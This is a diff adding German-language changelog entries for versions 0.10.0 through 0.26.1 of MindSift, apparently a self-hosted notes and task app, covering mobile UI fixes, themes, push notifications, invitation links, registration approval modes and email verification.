+- Demo: Wer die Demo zum ersten Mal öffnet, sieht sie im runden Theme Fjord Nacht statt im eckigen Standard. Ein selbst gewähltes Theme bleibt erhalten; echte Installationen sind nicht betroffen.
+
+## [0.26.1] - 2026-10-31
+
+### Fixed
+- Notizen am Handy: Ein Tipp rechts neben einen Punkt löste die unsichtbaren Knöpfe aus (In eigene Notiz umwandeln, Fokus, Löschen …). Die Knöpfe reagieren jetzt nur noch, wenn sie zu sehen sind, also beim Bearbeiten des Punkts.
+- Notizen: Ein Punkt, der schon in eine eigene Notiz umgewandelt wurde (nur noch der Link, ggf. mit Hashtags), lässt sich nicht noch einmal umwandeln; der Knopf und `/extract` fehlen dort. Bisher entstand dabei eine zweite Notiz, die nur den Link enthielt.
+- Hinweis nach dem Umwandeln am Handy („Öffnen“, „Rückgängig“): sitzt jetzt über der unteren Leiste statt am Bildschirmrand, Text oben (höchstens zwei Zeilen), Knöpfe darunter.
+
+## [0.26.0] - 2026-10-31
+
+### Added
+- Verbindungsstatus im Kopf: Ist der Server nicht erreichbar, steht am Desktop unter deinem Namen klein „● offline“ mit rotem Punkt; die Seite bleibt bedienbar. Am Handy zeigt ein kleiner Punkt unten rechts am Profilbild den Status (grün online, rot offline). Das funktioniert auch, wenn nur der Server ausgefallen ist und das Gerät selbst noch Netz hat – bisher war das nur in den Listen zu sehen.
+
+### Changed
+- Screenshots im README sind jetzt kleinere WebP-Bilder (zusammen etwa 0,5 statt 2,7 MB); das Journal-Bild zeigt die aktuelle Ansicht.
+
+## [0.25.1] - 2026-10-31
+
+### Fixed
+- Tafeln von unten am Handy (neuer Listeneintrag, neue Notiz, neue Liste, neuer Ordner …): Bei runden Ecken waren sie auch unten abgerundet und hatten einen Rahmen rundherum, sodass sie nicht sauber an der Tastatur anlagen. Jetzt sind sie wie die übrigen Tafeln nur oben rund und unten eckig; am Desktop bleibt das Fenster rundum abgerundet.
+
+## [0.25.0] - 2026-10-31
+
+### Changed
+- Einkaufslisten am Handy: Das Eingabefeld steht nicht mehr dauerhaft über der Liste. „+“ öffnet es als Tafel von unten (wie bei Aufgaben und Triage); nach „Hinzufügen“ bleibt sie offen und leer für den nächsten Eintrag. Am Desktop bleibt das Feld wie bisher.
+- Notizen am Handy: „+“ (und „Neue Notiz“ im Menü) fragt zuerst Name und Emoji ab; erst „Erstellen“ legt die Notiz an. Ein versehentlicher Tipp hinterlässt so keine leere Notiz mehr. Am Desktop entsteht die Notiz wie bisher sofort.
+
+## [0.24.2] - 2026-10-31
+
+### Fixed
+- Triage am Handy: „Auf Liste“ (bei mehreren Listen) und „Mit Termin“ taten nichts, weil ihre Auswahl nur am Desktop eingeblendet wurde. Am Handy öffnen sie jetzt das große Auswahlfenster von unten (wie beim langen Drücken auf die Karte).
+
+### Added
+- `TODO.md` mit offenen und zurückgestellten Aufgaben im Repository.
+
+## [0.24.1] - 2026-10-31
+
+### Fixed
+- Einkaufslisten offline: Neue Einträge ohne Verbindung meldeten „keine Verbindung zum Server“. Jetzt erscheinen sie sofort in der Liste (mit kleinem Wolken-Symbol), bleiben auch nach einem Neuladen sichtbar und werden gesendet, sobald die Verbindung zurück ist. Abhaken, Löschen oder Menge ändern, bevor sie gesendet wurden, wirkt direkt auf den wartenden Eintrag.
+
+### Changed
+- Einkaufslisten: Das Feld für neue Einträge ist jetzt als Eingabefeld erkennbar (Rahmen, Plus im Feld) und nimmt den meisten Platz ein; Menge und „Hinzufügen“ sind gleich hoch daneben bzw. am Handy darunter.
+
+## [0.24.0] - 2026-10-31
+
+### Added
+- **E-Mail-Adresse bestätigen:** Neue Einstellung (Administration → Server & Isolation, oder `REGISTRATION_VERIFY_EMAIL=true`). Wer sich ohne Einladung registriert, bekommt einen Link per E-Mail und ist erst danach aktiv; in den Freigabe-Modi geht das Konto danach an die Admins, die auch erst dann benachrichtigt werden. Beim Anmelden vor der Bestätigung gibt es „Link erneut senden“. Unbestätigte Konten werden nach 48 Stunden gelöscht, die Adresse ist dann wieder frei. Wirkt nur mit Mail-Server und `BASE_URL`; Einladungen brauchen keine Bestätigung.
+
+### Changed
+- Einladung erzeugen: Die E-Mail-Adresse steht vorne und hat mehr Platz, „Wie oft verwendbar“ ist schmal.
+
+## [0.23.0] - 2026-10-31
+
+### Added
+- **Einladungslinks:** Jeder Einladungscode ist auch ein Link (`/?invite=CODE`), der die Registrierung mit eingetragenem Code öffnet. In der Administration gibt es dafür „Link kopieren“ und – mit Mail-Server – „Per E-Mail“ (Einladung im MindSift-Layout mit Knopf „Konto anlegen“; einmalige Codes werden dabei an die Adresse gebunden).
+- **Ein Link für mehrere Personen:** Beim Erzeugen „Wie oft verwendbar“ angeben (z. B. 20); die Liste zeigt „3 von 20 verwendet“. Auch gleichzeitige Registrierungen können einen Link nie öfter einlösen als erlaubt.
+- **Registrierung mit Freigabe und nach E-Mail-Endung:** Statt „offen/geschlossen“ gibt es fünf Modi – geschlossen, mit Freigabe durch einen Admin, nur bestimmte E-Mail-Endungen, Endungen sofort und alle anderen nach Freigabe, offen. Wartende Konten stehen in der Administration unter „Wartet auf Freigabe“ (Freigeben/Ablehnen); Admins bekommen eine E-Mail, die Person nach der Freigabe ebenfalls. Bis dahin ist keine Anmeldung möglich (mit Hinweis). Das Registrierungsformular erklärt, welche Adressen erlaubt sind.
+- Neue Umgebungsvariablen `REGISTRATION_MODE` und `REGISTRATION_DOMAINS`: Gesetzt gelten sie und sind in der Administration gesperrt. `ALLOW_REGISTRATION=true` entspricht `REGISTRATION_MODE=open`.
+
+### Fixed
+- `ALLOW_REGISTRATION` wurde bisher gar nicht ausgewertet; die Registrierung ließ sich in der Administration unabhängig davon ein- und ausschalten.
+
+## [0.22.2] - 2026-10-31
+
+### Fixed
+- Spracheingabe über den Browser (ohne Whisper-Server): In Chrome auf Android wurde ein Satz mehrfach übernommen („TestTestTestTest 1 2 3“ statt „Test 1 2 3“), weil Android jeden Zwischenstand als eigenes Ergebnis liefert. Fortsetzungen ersetzen jetzt den vorherigen Stand.
+
+### Added
+- `AGENTS.md` mit Regeln für Coding-Agenten (Sprache, Prüfen, Release-Ablauf über die CI) und ein Plan für Registrierung mit Freigabe/E-Mail-Endungen und Anmeldung per OpenID Connect (`Doku/plans/`).
+
+## [0.22.1] - 2026-10-31
+
+### Fixed
+- Push-Benachrichtigungen: Nach dem Neuinstallieren der App zählte die alte Installation als weiteres Gerät mit („2 aktiv“), bis der nächste Push sie aussortierte. Schaltet ein Gerät Push neu ein, meldet es jetzt seine alte Anmeldung mit ab. Außerdem zeigen die Einstellungen alle Geräte einzeln (mit Datum und „dieses Gerät“) und jedes lässt sich entfernen.
+- Tageszusammenfassung und Neuigkeiten per E-Mail: Die Begrüßung („Guten Morgen“) richtete sich nach der Uhr beim Versand statt nach der Zeit, für die die Nachricht gedacht ist. Dadurch schlug ab mittags auch ein Test fehl, und der Build von 0.22.1 brach ab – die Version kommt erst mit diesem Fix an.
+
+## [0.22.0] - 2026-10-31
+
+### Added
+- Kanban am Handy und Tablet: Karten lassen sich mit dem Finger verschieben – kurz gedrückt halten, bis sie sich anhebt, dann auf eine andere Karte oder Spalte ziehen und loslassen. Am Rand scrollt die Seite mit (am Handy stehen die Spalten untereinander). Ein kurzer Tipp öffnet die Aufgabe wie bisher, Wischen scrollt.
+- Admin-Einstellungen: Datenbank-Backups lassen sich neben „Download“ auch löschen (mit Rückfrage). Nur für Admins; Benutzer-Backups laufen weiter über die Aufbewahrungsdauer ab. Neu dafür ist `DELETE /api/v1/admin/backups/{name}`.
+
+### Changed
+- Meldung nach dem Teilen: größer und mit dem Daumen gut erreichbar – Text oben, darunter zwei große Knöpfe **Liste** und **Aufgabe** wie in der Triage, ein kleines ✕ in der Ecke; ein Tipp daneben schließt sie.
+
+## [0.21.0] - 2026-10-31
+
+### Added
+- Teilen aus anderen Apps: Geteiltes landet wie bisher sofort im Quick Dump. Die Meldung danach bietet ein paar Sekunden lang **→ Aufgabe** und **→ Liste** an, um es mit einem Tipp stattdessen dort abzulegen (bei nur einer beschreibbaren Liste direkt, sonst mit kurzer Listenauswahl). Wer nichts tippt, behält den gewohnten Ablauf.
+
+## [0.20.0] - 2026-10-31
+
+### Changed
+- App-Verknüpfungen (App-Icon gedrückt halten): Statt „Capture“ und „Triage“, die nur die Startseite öffneten, gibt es jetzt **Quick Dump**, **Neue Aufgabe** und **Einkaufsliste** mit eigenen Symbolen. Jede öffnet den passenden Bereich mit dem Eingabefeld (Quick-Dump-Fenster, „Neue Aufgabe“, neuer Listeneintrag). Alte Verknüpfungen führen weiter zum Quick Dump. Neue Verknüpfungen übernimmt Android, sobald es die App aktualisiert (oder nach Neuinstallation).
+
+## [0.19.0] - 2026-10-31
+
+### Added
+- Notizen am Handy und Tablet: Solange man in einem Punkt schreibt, sitzt direkt über der Bildschirmtastatur eine schmale Leiste mit Ausrücken, Einrücken, Nach oben und Nach unten (ersetzt Tab / Umschalt+Tab). Der Punkt nimmt seine Unterpunkte mit, bleibt beim Verschieben unter seinem Elternpunkt, und die Tastatur bleibt offen. Mit Maus oder Stift erscheint die Leiste nicht.
+
+## [0.18.1] - 2026-10-31
+
+### Fixed
+- Workspace am Handy: Nach dem Öffnen des Journals und „Zurück“ blieb der Journal-Eintrag halb markiert, und er war kleiner beschriftet als die Ordner. Er sieht jetzt aus wie ein normaler Eintrag (gleiche Höhe und Schrift wie die Ordner); am Desktop öffnet er sich wie bisher als Bereich mit Kalender.
+
+## [0.18.0] - 2026-10-31
+
+### Changed
+- E-Mails haben ein einheitliches Aussehen im Stil der App: Logo mittig oben, darunter eine Karte mit Begrüßung („Guten Morgen, …“ je nach Tageszeit), dem eigentlichen Inhalt und einem Knopf zur App, unten der Hinweis, warum die E-Mail kommt. Das Logo steckt in der E-Mail selbst (erscheint also auch ohne nachgeladene Bilder und ohne `BASE_URL`); jede E-Mail hat zusätzlich eine gleich aufgebaute Textfassung.
+- Tageszusammenfassung: Aufgaben stehen in Abschnitten „Überfällig“, „Heute“ und „Morgen“, mit Uhrzeit und Liste darunter.
+- Fälligkeits-Alarm, Neuigkeiten, Passwort zurücksetzen, Kontoänderung (mit hervorgehobenem Sicherheitshinweis), Test-Alarm und SMTP-Test nutzen dasselbe Layout; bisher kamen die meisten davon als reiner Text.
+
+## [0.17.4] - 2026-10-31
+
+### Fixed
+- Benutzermenü: Bei runden Ecken (Theme-Einstellung) ragte der eckige Kopfbereich mit Name und Rolle oben über den Rand des Menüs hinaus.
+
+## [0.17.3] - 2026-10-31
+
+### Fixed
+- Fälligkeits-Benachrichtigungen kamen nach jedem Verschieben im Kanban-Board erneut: Beim Verschieben wurde für alle offenen Aufgaben der betroffenen Spalten vermerkt, dass ihr Alarm noch aussteht. Jetzt bekommt nur eine Aufgabe, die von „Erledigt“ wieder geöffnet wird, ihren Alarm erneut.
+
+## [0.17.2] - 2026-10-31
+
+### Changed
+- Workspace am Handy: Notizen, To-Dos und Hashtags wechselt man jetzt wie bei Aufgaben und Einkaufslisten über das Menü oben (Logo); die Reiterzeile entfällt dort. Ordner und Notizen in der Liste sind so hoch wie das Suchfeld (44 px) und damit leichter zu treffen.
+- Aufgaben am Handy: Die Kopfleiste ist bei „Alle Aufgaben“ genauso hoch wie bei einzelnen Listen und wie bei den Einkaufslisten.
+
+## [0.17.1] - 2026-10-31
+
+### Changed
+- Kanban maximieren: Nur noch das Board wird breiter, Listen-Reiter und „Neue Aufgabe anlegen“ behalten ihre Breite. Das Board wächst weich animiert, jede Spalte wird höchstens 380 px breit und das Board bleibt mittig (bei wenigen Spalten also schmaler als das Fenster).
+
+- Ladebildschirm: Statt immer in Blau erscheint er in den Farben des zuletzt auf dem Gerät genutzten Themes (Hintergrund, Logo in der Akzentfarbe, Statusleiste passend); beim allerersten Besuch bleibt er blau. Neu dafür ist `boot-theme.js` (eigene Datei wegen der Content-Security-Policy); die App-Caches werden einmal erneuert.
+
+- Journal: Vor dem Titel eines Tages steht statt des bunten Kalender-Emojis ein schlichtes Kalender-Symbol in der Textfarbe des Themes (nicht anklickbar, das Icon lässt sich im Journal ohnehin nicht ändern).
+
+### Fixed
+- App installieren am Handy: Meldet Chrome erst nach dem Öffnen der Anleitung, dass MindSift installierbar ist (z. B. kurz nach dem Entfernen der alten App), erscheint in der Anleitung jetzt ein Knopf „Jetzt installieren“ für die direkte Installation.
+
+## [0.17.0] - 2026-10-31
+
+### Added
+- Aufgaben und Kanban: Eine Aufgabe lässt sich auf den Reiter einer anderen Aufgabenliste ziehen und landet dort wie eine neue Aufgabe. Ihren Kanban-Status behält sie, wenn die Zielliste diese Spalte hat, sonst startet sie in der ersten Spalte. Nur lesbare Listen nehmen nichts an.
+- Einkaufslisten: Einträge lassen sich genauso auf den Reiter einer anderen Liste ziehen; Kategorie, Menge und Haken bleiben erhalten. Neu dafür ist `POST /api/v1/lists/{id}/items/{itemId}/move` (Bearbeitungsrecht in beiden Listen nötig).
+- Aufgaben und Einkaufslisten merken sich beim Wechsel zwischen den Reitern der App die offene Liste, Aufgaben außerdem Liste oder Kanban (pro Browser-Tab, wie der Workspace).
+
+### Changed
+- Einkaufslisten: Die Verbindungsanzeige oben rechts sieht jetzt aus wie bei den Notizen (Punkt und „Live“ bzw. „Offline“) statt des alten Funk-Symbols.
+
+### Fixed
+- Push-Benachrichtigungen am Handy: In der Statusleiste erschien statt des Gehirn-Symbols nur ein einfarbiges Quadrat. Android nutzt dort nur die Transparenz des Bildes; MindSift liefert dafür jetzt ein eigenes Symbol (weißes Gehirn auf transparentem Grund). Die App-Caches werden einmal erneuert.
+
+## [0.16.1] - 2026-10-31
+
+### Changed
+- README-Screenshots aufgeräumt: Nur noch das Titelbild ist diagonal hell/dunkel geteilt, Handy und übrige Ansichten zeigen jeweils ein Theme. Neu ist ein Raster mit den Farbfamilien Fjord, Terrakotta, Polarized und Suri (je hell/dunkel diagonal, im Kanban-Board).
+
+### Fixed
+- Einstellungen am Handy: Bei der Tageszusammenfassung ragten die Kanal-Schalter (E-Mail, Discord, Webhook, Push) rechts aus dem Bild. Am Handy stehen sie jetzt zu zweit untereinander.
+
+## [0.16.0] - 2026-10-31
+
+### Added
+- Kanban: Neben „Spalten anpassen“ streckt ein kleiner Knopf (diagonale Pfeile) das Board auf die volle Fensterbreite; alle Spalten stehen dann nebeneinander. Die Einstellung merkt sich der Browser, am Handy gibt es den Knopf nicht.
+
+### Fixed
+- Aufgaben: Ein neuer Quick-Dump-Eintrag (z. B. per Spracheingabe über das gehaltene Plus) tauchte kurz oben in den Aufgaben auf, obwohl er in die Triage gehört. Live-Änderungen nehmen jetzt nur noch echte Aufgaben auf; eine per „Rückgängig“ zurück in die Triage geholte Aufgabe verschwindet auch sofort aus der Liste.
+- Kanban: Bei runden Ecken (Theme-Einstellung) ragten die eckigen Spaltenüberschriften oben über den Spaltenrand hinaus.
+
+## [0.15.1] - 2026-10-31
+
+### Fixed
+- Triage am Handy: Die Warteschlange lässt sich wieder zuklappen („Warteschlange ausblenden“) und fährt beim Auf- und Zuklappen weich auf bzw. zu.
+- Triage auf dem Desktop: Notizen, die auf einem anderen Gerät einsortiert oder gelöscht wurden, verschwinden jetzt sofort auch hier (bisher wurde nur der Aufgaben-Tab aktualisiert). Kommt der Tab wieder in den Vordergrund, lädt er außerdem neu, falls Änderungen im Hintergrund verpasst wurden.
+- Aufgaben: Ein Tipp irgendwo auf die Aufgabe öffnet sie jetzt zuverlässig, nicht nur auf den Text. Bisher schluckten die Zeile mit Datum/Tags und in Kanban die Pfeil-Leiste jeden Tipp, und am Handy konnte ein etwas längerer Tipp als Ziehen gewertet werden (Ziehen gibt es nur noch mit Maus oder Stift).
+
+## [0.15.0] - 2026-10-31
+
+### Changed
+- Hashtag-Übersicht: Kacheln sind breiter (so viele Spalten wie mit mindestens 18rem passen), Tag-Namen und Notiztitel haben mehr Platz.
+- README überarbeitet und Screenshots erneuert: jedes Bild zeigt links das helle und rechts das dunkle Theme (diagonal geteilt), neu sind Journal und Notiz am Handy. `e2e/screenshots.sh` erzeugt die Paare selbst (`SHOT_LIGHT`/`SHOT_DARK` für andere Farbfamilien) und läuft wie die Tests mit eigenem Container und Port.
+
+## [0.14.3] - 2026-10-31
+
+### Changed
+- Slash-Menü: Befehle, deren Name mit dem Getippten beginnt, stehen oben (`/li` → zuerst `/link`), danach Aliase, dann Treffer im Namen, zuletzt in der Beschreibung.
+- Link-Vorschau: Karte und Bild etwa doppelt so hoch; statt der nackten Adresse steht darunter eine kleine Link-Markierung (Domain und Pfad) in der Akzentfarbe des Themes.
+- Links in normalen Punkten: Die grüne Markierungsleiste unter dem Punkt entfällt; Web-Adressen im Text sind jetzt direkt anklickbar (Satzzeichen am Ende gehören nicht zum Link).
+
+## [0.14.2] - 2026-10-31
+
+### Fixed
+- Installierte App: Der Service Worker lieferte `manifest.json` zuerst aus dem Cache, sodass der Browser bei der Prüfung auf geänderte App-Farben noch die alte blaue Fassung sah. Das Manifest kommt jetzt immer frisch vom Server (Cache nur offline); die App-Caches werden einmal erneuert.
+
+## [0.14.1] - 2026-10-30
+
+### Fixed
+- Benutzermenü: Der Hell/Dunkel-Schalter ragte aus dem Menü heraus und zeigte „Wie System“ nicht an, wenn sich dabei das Theme nicht änderte. Er steht jetzt in einer eigenen Zeile (Hell · Dunkel · System) und zeigt jede Auswahl sofort.
+- Footer: eine gleichmäßige, kleinere Zeile („MindSift v… · Über MindSift“, rechts die Rechtstexte) in einheitlicher Schrift statt fett/Monospace gemischt, die schief wirkte.
+
+## [0.14.0] - 2026-10-30
+
+### Added
+- Themes als Farbfamilien mit je einer hellen und dunklen Variante: Klassik, **Fjord** (neu, Gletscherblau / Nachtblau), Terrakotta, Polarized (neu: **Polarized Hell**), Suri (neu: **Suri Hell**).
+- Darstellung in den Kontoeinstellungen: Tabelle Familie × Hell/Dunkel, „Hell oder dunkel: Wie System“ (wechselt innerhalb der Familie mit dem Gerät), Ecken (Wie Theme / Rund / Eckig), Rahmen an Knöpfen (mit / ohne) und eine eigene Akzentfarbe (Vorschläge oder frei wählbar). Alles gilt pro Gerät.
+- Benutzermenü und Handy-Profil: kompakte Schnellwahl mit einem Farbpunkt pro Familie und Hell / Dunkel / Wie System; eigene Themes darunter.
+
+### Changed
+- Code-Farben aus `index.css` sind nur noch Rückfallwerte; die Code-Farben eines Themes gewinnen immer.
+
+## [0.13.0] - 2026-10-30
+
+### Added
+- Neues Theme **Terrakotta Nacht**: das dunkle Gegenstück zu Terrakotta – Espresso-Braun, Creme-Schrift, glühender Terrakotta-Akzent, Salbeigrün, weiche Ecken.
+- Animationen: Menüs (Benutzermenü, Drei-Punkte-Menü), Dialoge und Bottom-Sheets blenden und gleiten weich ein; am Handy schiebt sich eine Notiz von rechts herein und die Liste beim Zurück von links. Am PC bleibt der Notizwechsel sofort. Bei „Bewegung reduzieren“ im System gibt es keine Animationen.
+
+### Removed
+- Theme „Soft Slate“; wer es aktiv hatte, bekommt automatisch „Terrakotta Nacht“.
+
+### Fixed
+- Die vorhandenen Ein-/Ausblend-Animationen (`animate-in`, `fade-in`, `slide-in-from-*`) liefen nie, weil das Tailwind-Plugin fehlte (`tailwindcss-animate`).
+
+## [0.12.2] - 2026-10-30
+
+### Fixed
+- Triage am Desktop: Bei nur einer Liste mit langem Namen ragte „Aufgabe“ rechts über die Karte hinaus; der Listenname im Knopf wird jetzt gekürzt (voller Name im Tooltip).
+
+## [0.12.1] - 2026-10-30
+
+### Fixed
+- Workspace → To-Dos: Die Gruppierung (Ordner → Notiz) wird pro Ebene gleichmäßig abgestuft – im hellen Theme jede Ebene etwas dunkler, im dunklen etwas heller – statt zwischen grau und weiß hin und her zu springen.
+
+## [0.12.0] - 2026-10-30
+
+### Added
+- Neues Theme **Terrakotta**: warmes Cremepapier für Notizen, sandfarbene Seitenleiste, tintendunkle Schrift, gebrannter Terrakotta-Akzent mit Salbeigrün und weiche Ecken; Code-Hervorhebung in Erdtönen.
+
+### Removed
+- Theme „High Contrast“. Wer es aktiv hatte, bekommt automatisch „MindSift Dark“.
+
+### Changed
+- Themes: Ob ein Theme hell ist (helle Code-Farben, kein Dunkelmodus), richtet sich nach seiner Hintergrundfarbe statt nur nach „Light“.
+- Kopfzeile am Handy: Such-Knopf und Profilbild sind gleich große Kreise.
+
+## [0.11.1] - 2026-10-30
+
+### Changed
+- Triage am Handy: unter der Karte zwei große Knöpfe „← Wegwerfen“ und „Aufgabe →“ (wie Wischen), darunter ein Viererblock wie im Gedrückthalten-Menü: Auf Liste, Mit Termin, Als Notiz, Später. Die Warteschlange ist am Handy zugeklappt; „Warteschlange anzeigen“ klappt sie auf und scrollt hin.
+
+## [0.11.0] - 2026-10-30
+
+### Added
+- Fokus-Modus: Ordner und Notizen gleiten von links herein – über den Ordner-Knopf oder einen Klick auf den Titel in der Kopfleiste, auf breiten Bildschirmen auch, wenn die Maus den linken Rand berührt. Eine andere Notiz öffnet sich, ohne den Fokus-Modus zu verlassen; `Esc` schließt zuerst die Leiste.
+- Fokus-Modus für Notizen: `Strg+Umschalt+F` oder „Fokus-Modus starten“ im Drei-Punkte-Menü. Nur die Notiz in angenehmer Lesebreite über dem ganzen Fenster; die Kopfleiste (Titel, Rückgängig, Teilen, Menü, „Beenden“) gleitet herein, wenn die Maus den oberen Rand berührt. `Esc` beendet ihn; am Handy über einen runden Knopf unten rechts.
+- **Push-Benachrichtigungen** (Web Push) auf Handy und Desktop, auch wenn MindSift geschlossen ist: unter Kontoeinstellungen → Alarme pro Gerät einschalten und testen; „Push“ ist eine eigene Spalte für jedes Ereignis (auch fällige Aufgaben) und die Tageszusammenfassung. iPhone und iPad ab iOS 16.4, wenn MindSift zum Home-Bildschirm hinzugefügt wurde. Schlüssel per `VAPID_*` oder automatisch erzeugt. API: `/push/key`, `/push/devices`, `/push/subscribe`, `/push/unsubscribe`, `/push/test`.
+- Links auf einzelne Punkte: „Link zu diesem Punkt kopieren“ in der Aktionsblase eines Punkts oder im Link-Dialog (`/link`) über „Punkt dieser Notiz wählen“. Format `[[Notiz#^id|Notiz › Auszug]]`; ein Klick öffnet die Notiz, springt zum Punkt und hebt ihn hervor. Gibt es den Punkt nicht mehr (verschoben, ausgelagert, gelöscht), öffnet sich die Notiz mit einem Hinweis. Wiki-Links stehen im Text jetzt mit ihrem Anzeigetext und sind direkt anklickbar.
+- Globaler Desktop-App-Footer mit Versionsnummer, „Über MindSift“, dynamischen Rechtstexten (Impressum, Datenschutz) sowie optional konfigurierbarem Custom-Link (`LEGAL_CUSTOM_LINK_LABEL`, `LEGAL_CUSTOM_LINK_URL`).
+- „Über MindSift“-Dialog und Versionsanzeige im mobilen Profil-Menü (Avatar-Menü oben rechts).
+- PWA Web Share Target: Text, Links und Bilder können über den nativen Teilen-Dialog des Smartphones direkt in den MindSift-Posteingang geteilt werden (`share_target` im Manifest, Abfangen im Service Worker via IndexedDB und Übernahme beim App-Start; Fallback-Route `POST /share-target` im Server).
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+### Changed
+- Inline-Code mit dezentem hellen Schimmer im dunklen Theme (Textfarbe mit geringer Deckkraft als Hintergrund) statt dunklem Code-Hintergrund, in hellen Themes entsprechend leicht grau.
+- Installierte App: Statusleiste beim Start und Android-Navigationsleiste schwarz statt blau (die Navigationsleiste kann der Browser nur aus dem Manifest färben, nicht pro Theme); die Statusleiste folgt danach wie bisher dem Theme.
+- Notizen-Seitenleiste: Die ausgewählte Notiz ist nur noch hinterlegt (ohne Rahmen); das Journal-Panel und die Monats-/Jahresauswahl im Kalender kommen ebenfalls ohne Rahmen aus.
+- Code-Blöcke ohne Rahmen und Kopfleiste: oben links nur die Sprache, Kopieren als runder Symbol-Knopf unten rechts (erscheint beim Überfahren, am Handy immer). „In normalen Text umwandeln“ steht für Code-Blöcke (und nummerierte Punkte) in der Aktionsblase des Punkts.
+- Code-, Audio- und Diktat-Blöcke haben unabhängig vom Theme runde Ecken; Callouts bleiben eckig.
+- Inline-Code ist einfarbig (Text in Haupttextfarbe auf dem Code-Hintergrund des Themes) statt in Akzentfarbe, für bessere Lesbarkeit.
+- Notizen: Enter in einem leeren eingerückten Punkt rückt ihn nur noch aus, wenn danach kein Punkt mehr auf derselben Ebene folgt; sonst entsteht wie gewohnt ein neuer Punkt darunter (auch nummerierte Listen werden dann nicht beendet).
+- Workspace-Leiste: Live, Geteilt und Speicherstatus ohne Rahmen im gleichen Stil, ein senkrechter Trennstrich vor den Notiz-Knöpfen. Footer ohne Linie darüber.
+- Journal: Panel und Kalender öffnen sich mit einer sanften Animation, die Journal-Ansicht blendet ein.
+- Einfügen und Markdown-Import: Eine Liste direkt nach einem Absatz („Folgende Punkte:“) wird unter diesem Absatz eingerückt.
+- Workspace am Desktop (ab 1024 px): Die eigene Kopfleiste der Notiz entfällt. Rückgängig, Wiederholen, Teilen und das Drei-Punkte-Menü stehen oben in der Workspace-Leiste, in fester Reihenfolge: Avatare, Live, Geteilt, Speicherstatus (nur noch als Symbol, Text als Tooltip), dann die Knöpfe. Beim Fokus-Modus stehen die Breadcrumbs über dem Titel. Am Handy und Tablet bleibt die Kopfleiste.
+- Notizen-Seitenleiste: Überschrift „Notizen & Outliner“ entfernt, Suche und die Knöpfe für neuen Ordner und neue Notiz stehen in einer Zeile.
+- Journal: Geöffnet ist es ein hinterlegtes Panel mit Rahmen, „Journal“ ist dessen Überschrift; ein zweiter Klick schließt es und zeigt wieder die vorherige Notiz. Ob das Journal offen war und welche Notiz offen war, bleibt beim Wechsel zwischen den Tabs erhalten (Journal-Tage öffnen sich nicht mehr als einzelne Notiz).
+- Notizen: Beim Einfügen und beim Markdown-Import werden Absätze und Listen unter einer Überschrift eingerückt (H2 unter H1 eine Ebene tiefer), so lassen sich Abschnitte einklappen und fokussieren. Enter am Ende einer Überschrift legt den neuen Punkt als Unterpunkt an; `- `, `* ` oder `+ ` in einem leeren Punkt machen ihn zum normalen Aufzählungspunkt.
+- CI: Tests laufen pro Code-Stand nur einmal. `main` baut ohne erneute Tests, wenn derselbe Stand schon als `dev` getestet wurde; ein Release-Tag auf denselben Commit wie `latest` baut nicht neu, sondern taggt `latest` um. Die Zuordnung steht als Label im Image (keine zusätzlichen Image-Tags in der Registry). Dockerfile: `SKIP_TESTS`, BuildKit-Caches für Go und npm.
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+### Fixed
+- Notizen: Formatierung innerhalb von fett, kursiv oder durchgestrichen wird angezeigt, z. B. fetter Inline-Code `**`services`**` (bisher standen Backticks im Text).
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+## [0.10.0] - 2026-10-30
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+### Added
+- Nummerierte Listen im Outliner: `/number` (auch `/nummer`, `/liste`) oder `1. ` am Anfang eines leeren Punkts; Enter setzt die Liste fort, Enter in einem leeren Punkt beendet sie. Eingerückte Listen zählen mit Buchstaben (a., b.), die nächste Ebene römisch (i., ii.), danach wieder mit Zahlen. Export und Import als Markdown (`1.`).
+- **Journal** im Workspace: ganz oben in der Seitenleiste; eine Notiz pro Tag mit festem Datumstitel, alle Tage untereinander (heute oben, ältere laden beim Scrollen nach). Solange das Journal offen ist, zeigt ein Kalender mit Monats- und Jahresauswahl den Tag, bei dem man gerade ist; Tage mit Einträgen haben einen Punkt, ein Klick springt hin (und legt den Tag bei Bedarf an). „Teilen“ gilt dem gerade sichtbaren Tag. Am Handy klappt der Kalender über die Kopfzeile auf. Unter Darstellung pro Gerät abschaltbar. API: `GET /journal`, `POST /journal/{date}`.
+- Benachrichtigungen: Der eigene Webhook ist jetzt ein vollwertiger Kanal neben E-Mail und Discord – eigene Spalte „Webhook“ für jedes Ereignis und die Tageszusammenfassung; gebündelte Nachrichten kommen als JSON (`event: "digest"` mit Liste der Ereignisse).
+- Outliner: Neuer Slash-Befehl `/text` (sowie Aliase `/p`, `/paragraph`, `/bullet`, `/standard`), um beliebige Blöcke (Überschriften, Callouts, Aufgaben, Trennlinien) in Standard-Text umzuwandeln; Aufgaben-Optionen und Block-Aktionsblase bieten ebenfalls die Rückumwandlung an.
+- Triage-Deck: Touch-freundliche Schnellaktions-Leiste unter der aktiven mobilen Karte (Wegwerfen, Liste, Notiz, Aufgabe) mit Daumenbedienung (≥ 44 px).
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+### Changed
+- Schrift: MindSift liefert die Schrift Inter jetzt selbst aus (ohne externen Dienst), damit die Oberfläche auf allen Geräten gleich aussieht. Notiztitel stehen in einer feinen, dünnen Schrift und etwas größer.
+- Notizen: Der Titel in der Kopfleiste erscheint erst, wenn der große Titel aus dem Bild gescrollt ist; am Handy passt die Kopfleiste in eine Zeile.
+- Das Bild für `main` (`latest`) zeigt die Versionsnummer ohne `-dev`; nur `dev` und andere Zweige behalten den Zusatz.
+- Outliner: Schriftgrößen für H1 (`text-xl sm:text-2xl font-bold`), H2 (`text-lg sm:text-xl font-semibold`) und H3 (`text-base font-semibold`) deutlich angehoben bei synchroner Textarea und dezentem oberen Abstand.
+- Outliner: Aktions-Buttons (Zoom, Auslagern, Löschen, Text-Umwandlung) als schwebende, kontrastreiche Blase (`backdrop-blur-sm`) positioniert, wodurch der Fließtext beim Einblenden nicht mehr ruckartig umbricht.
+- Outliner: Aktiver Eintrag im Slash-Befehlsmenü dezent als `bg-accent-dim text-accent` hervorgehoben statt vollflächig deckend.
+- Quick Dump (Instant Capture): Platzhaltertexte gekürzt, vertikales Scrolling im einzeiligen Zustand unterbunden und Absende-Pfeil nach unten ausgerichtet.
+- Zähler-Badges (`CountBadge`): Akzent-Badge über `--accent-dim` mit Rand, Muted-Badge über `--bg-panel-elevated` und `--text-muted` für hohe Lesbarkeit in allen Themes.
+- Workspace: Popover-Dialoge (`FormSheet` mit Anker) öffnen zentriert unter dem Mauszeiger mit Rand-Schutz (Viewport-Clamping).
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+### Fixed
